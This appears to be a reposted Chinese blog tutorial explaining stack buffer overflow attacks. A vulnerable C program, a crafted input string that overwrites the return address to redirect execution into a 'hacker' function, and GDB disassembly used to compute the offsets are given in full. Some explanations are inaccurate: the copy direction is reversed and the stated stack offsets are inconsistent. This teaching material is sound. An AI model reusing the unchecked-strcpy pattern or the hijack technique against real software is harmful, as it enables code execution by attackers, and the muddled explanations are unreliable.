1. 程式人生 > >深入理解黑客攻擊-緩衝區溢位攻擊

深入理解黑客攻擊-緩衝區溢位攻擊

緩衝區溢位攻擊是利用緩衝區溢位漏洞所進行的攻擊行動

如果有人利用棧中分配的緩衝區寫溢位,悄悄地將一段惡意程式碼的首地址

作為返回地址覆蓋寫到原先的正確的返回地址處。那麼程式在執行ret的時候會悄悄地轉移到這個惡意程式碼段處執行

從而可以輕易獲得系統特權,進而進行各種非法操作

造成緩衝區溢位的原因就是系統沒有對作為緩衝區的陣列進行越界檢查

給出一段程式碼

#include <stdio.h>
#include "string.h"


void outputs(char *str)
{
char buffer[16];
strcpy(buffer,str);//str to buffer
printf("%s \n",buffer);
}


void hacker(void)
{
printf("being hacked\n");
}


int main(int argc,char *argv[])
{
outputs("1234567123456712345671234567\xaa\x84\x04\x08");
return 0;
}

main函式呼叫outputs函式。

通過對main函式進行反彙編,可以得到

Dump of assembler code for function main:
   0x080484be <+0>:push   %ebp
   0x080484bf <+1>:mov    %esp,%ebp
   0x080484c1 <+3>:and    $0xfffffff0,%esp
   0x080484c4 <+6>:sub    $0x10,%esp
   0x080484c7 <+9>:movl   $0x8048584,(%esp)
   0x080484ce <+16>:call   0x804847d <outputs>
   0x080484d3 <+21>:mov    $0x0,%eax
   0x080484d8 <+26>:leave  
   0x080484d9 <+27>:ret  

通過對outputs函式進行反彙編,可以得到

Dump of assembler code for function outputs:
   0x0804847d <+0>:push   %ebp
   0x0804847e <+1>:mov    %esp,%ebp
   0x08048480 <+3>:sub    $0x28,%esp
   0x08048483 <+6>:mov    0x8(%ebp),%eax
   0x08048486 <+9>:mov    %eax,0x4(%esp)
   0x0804848a <+13>:lea    -0x18(%ebp),%eax
   0x0804848d <+16>:mov    %eax,(%esp)
   0x08048490 <+19>:call   0x8048340 <

[email protected]>
   0x08048495 <+24>:lea    -0x18(%ebp),%eax
   0x08048498 <+27>:mov    %eax,0x4(%esp)
   0x0804849c <+31>:movl   $0x8048570,(%esp)
   0x080484a3 <+38>:call   0x8048330 <[email protected]>
   0x080484a8 <+43>:leave  
   0x080484a9 <+44>:ret 

可以看出,彙編程式碼

 0x08048490 <+19>:call   0x8048340 <[email protected]>

是對應於c程式碼

strcpy(buffer,str);//str to buffer這一句的

那麼strr[0]是對應於   0x0804848a <+13>:lea    -0x18(%ebp),%eax這一句的

那麼buffer[0]是對應於   0x08048483 <+6>:mov    0x8(%ebp),%eax這一句的

也就是說strcpy(buffer,str);這一條語句,就是將buffer陣列賦值給str陣列

而ebp+8的地址就是返回地址所在的記憶體地址的位置

所以我們必須將-0x18(%ebp)到4(%ebp)之間全部填充滿

然後-4(%ebp)到8(%ebp)填充為我們想要程式返回的地址

這樣函式outputs執行完畢以後,就會返回到我們想要返回的地址

通過對hacker進行反彙編

我們得到hacker函式的首地址


如圖所示,hacker函式的首地址為0x080484aa

那麼我們就把esp+4到esp+8的區間填充為0x080484aa


可以看到,劫持成功了

相關推薦

深入理解黑客攻擊-緩衝區溢位攻擊

緩衝區溢位攻擊是利用緩衝區溢位漏洞所進行的攻擊行動 如果有人利用棧中分配的緩衝區寫溢位,悄悄地將一段惡意程式碼的首地址 作為返回地址覆蓋寫到原先的正確的返回地址處。那麼程式在執行ret的時候會悄悄地轉移到這個惡意程式碼段處執行 從而可以輕易獲得系統特權,進而進行各種非法操作

深入彙編理解緩衝區溢位攻擊

1.基本知識     子彙編程式裡,呼叫函式使用CALL偽指令,原始的傳遞引數的方法可以是使用暫存器和全域性標記(和高階語言,如C中的全域性變數,在.data段定義的標記)。但是由於這樣子函式不能模組化,而且如果程式功能稍大的話,程式碼將非常難於理解和維護,所以後來統一使用

CSAPP 深入理解計算機系統 Buflab實驗,緩衝區溢位攻擊實驗(1)

由於實驗太長所以還是採用分開 其實感覺之前做過那個bomb實驗以後,這個實驗相對來說還是很容易的,主要是要搞懂緩衝區溢位原理,以及堆疊的過程,函式呼叫的實現過程,做完這個實驗如果認認真真的做完,對於堆疊的過程,還有快取溢位攻擊的原理就會掌握的比較清楚的。個人感覺實驗設計的

CSAPP_attack_lab緩衝區溢位攻擊

Attack lab 實驗報告 //又是提前兩天上傳 //張延鬆老師班的同學注意(手動滑稽) 目錄: 綜述 攻擊方式闡述 攻擊背景闡述 函式分析 Touch1函式 Touch2函式 Touch3函式 解決方案 PartⅠ Touch1 Touch2 Touch3 Part Ⅱ Touch

Linux下緩衝區溢位攻擊的原理及對策

前言 從邏輯上講程序的堆疊是由多個堆疊幀構成的,其中每個堆疊幀都對應一個函式呼叫。當函式呼叫發生時,新的堆疊幀被壓入堆疊;當函式返回時,相應的堆疊幀從堆疊中彈出。儘管堆疊幀結構的引入為在高階語言中實現函式或過程這樣的概念提供了直接的硬體支援,但是由於將函式返回地址這樣的

CSAPP Lab3:attacklab緩衝區溢位攻擊實驗

參考文章: 實驗答案: 請點選view plain檢視全部程式碼 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

突破C++的虛擬指標--C++程式的緩衝區溢位攻擊

backend注:本文來自Phrack56期的《SMASHING C++ VPTRS》。正如大多數國外黑客的文章,技術原理及應用都講得比較詳細,但所提供的原始碼似乎總是會存在不大不小的問題。這也許是因為他們覺得應該讓讀者自己去研究和除錯,以更好地掌握這些技術。或許以後我也會

為什麼會有緩衝區溢位攻擊專欄

已有一段時間沒有寫部落格,今天開啟部落格收到網友的私信,問我是否從事與安全相關的工作,以及對從事安全工作有什麼好的建議。今晚想借這個機會記錄下我寫此專欄的緣由。 2014年整整一年,我成為部門的安全工程師,負責Linux系統的安全設計和加固工作,使產品滿足公司

如何防範Linux作業系統下緩衝區溢位攻擊

雖然Linux病毒屈指可數,但是基於緩衝區溢位(Buffer Overflow)漏洞的攻擊還是讓眾多Linux使用者大吃一驚。所謂“世界上第一個Linux病毒”??reman,嚴格地說並不是真正的病毒,它實質上是一個古老的、在Linux/Unix(也包括Windows等系統

緩衝區溢位攻擊實驗(三)

在緩衝區溢位攻擊實驗(一)(二)分別介紹了先關知識和shellcode機器碼的獲得,這一篇就闡述怎麼利用別人程式中的緩衝區溢位漏洞實施攻擊; 三、緩衝區溢位漏洞攻擊 1.一個存在緩衝區溢位漏洞的dem

Linux下緩衝區溢位攻擊及Shellcode

4.3.2 Linux32環境下函式的返回地址 編譯、連結、執行程式buffer_overflow.c,並關閉Linux的棧保護機制,參見截圖: 下面用gdb除錯程式: 在foo函式的入口、呼叫st

CSAPP:Attack Lab —— 緩衝區溢位攻擊實驗

Warm-up X86-64暫存器和棧幀 X86-64有16個64位暫存器 : -%rax 作為函式返回值使用。 - %rsp 棧指標暫存器,指向棧頂。 - %rdi,%rsi,%rdx,%rcx,%r8,%r9 用作函式引數,依

CSAPP:逆向工程【緩衝區溢位攻擊

逆向工程【緩衝區溢位攻擊】 任務描述 掌握函式呼叫時的棧幀結構,利用輸入緩衝區的溢位漏洞,將攻擊程式碼嵌入當前程式的棧幀中,使程式執行我們所期望的過程。 主要方法 溢位的字元將覆蓋棧幀上的資料,會覆蓋程式呼叫的返回地址,這賦予了我們控制程式流程的能力。通過構造溢位字串,程式將“返回”至我們想要的程式碼上。

深入理解JVM之記憶體溢位問題的分析與解決(二)

繼上一篇文章來說,我們這一次來分析JVM記憶體溢位的原因,也就是對引起錯誤程式碼的定位: 我們根據下圖來進行操作: 右鍵點選含有main函式的主檔案,然後選擇run as--》Run Configuration,到達如下圖所示:  點選Arguments到達如下

深入理解JVM之記憶體溢位問題的分析與解決(一)

今天樓主開始學習深入理解JVM這一套視訊,準備將課程的重點以部落格的形式展現出來,儘量把每一節的知識點縮小,寫的精闢; 今天樓主學習的是:記憶體溢位問題的分析與解決,我們來看一個例子  我們可以發現在迴圈中無限制的在建立HeadSpace這個類的例項,這必然會導致我們記憶

深入理解:overflow:hidden——溢位,坍塌,清除浮動

基本演示程式碼: HTML程式碼: <div class="box"> <div class="box1"></div> <div class="box2"></div> </

深入理解CSRF攻擊與防禦

What is CSRF 首先可以先看一段英文原文介紹: Cross Site Reference Forgery works by including malicious code or a link in a page that accesses a we

學習筆記1:深入理解Java虛擬機器——JVM高階特性與最佳實踐_OOM(記憶體溢位)_虛擬機器引數設定_MAT

eclipse中設定debug標籤頁的vm引數 1,Run->Debug configurations->Java Application 2,選中已經寫好的專案 3,Arguments->VM arguments 4,在VM arguments 裡面就可以對虛擬機器的

學習筆記1:深入理解Java虛擬機器——JVM高階特性與最佳實踐_走進java_java記憶體區域與記憶體溢位異常

第一部分:走進java Java虛擬機器 程式碼在華章下載 jdk釋出了六個命令列工具和兩個視覺化故障處理工具。 推薦書籍 設計原本 領域特定語言 現在著名的Java虛擬機器 hotspot vm(預設) jrockit vm j9 vm jdk sun jdk op

區塊鏈黑客攻擊之女巫攻擊

  區塊鏈是加密貨幣的底層技術,而加密貨幣憑藉其價值,引得無數人為之瘋狂,在高利益的驅使下,不乏黑客們對區塊鏈網路發起攻擊。本文和大家分享的就是區塊鏈黑客攻擊中的女巫攻擊。   說到女巫,我們腦袋裡面最直觀的感覺就是女巫有法術,能變成不同身份的人。通常女巫都是邪惡的象徵,並且不幹啥好事。而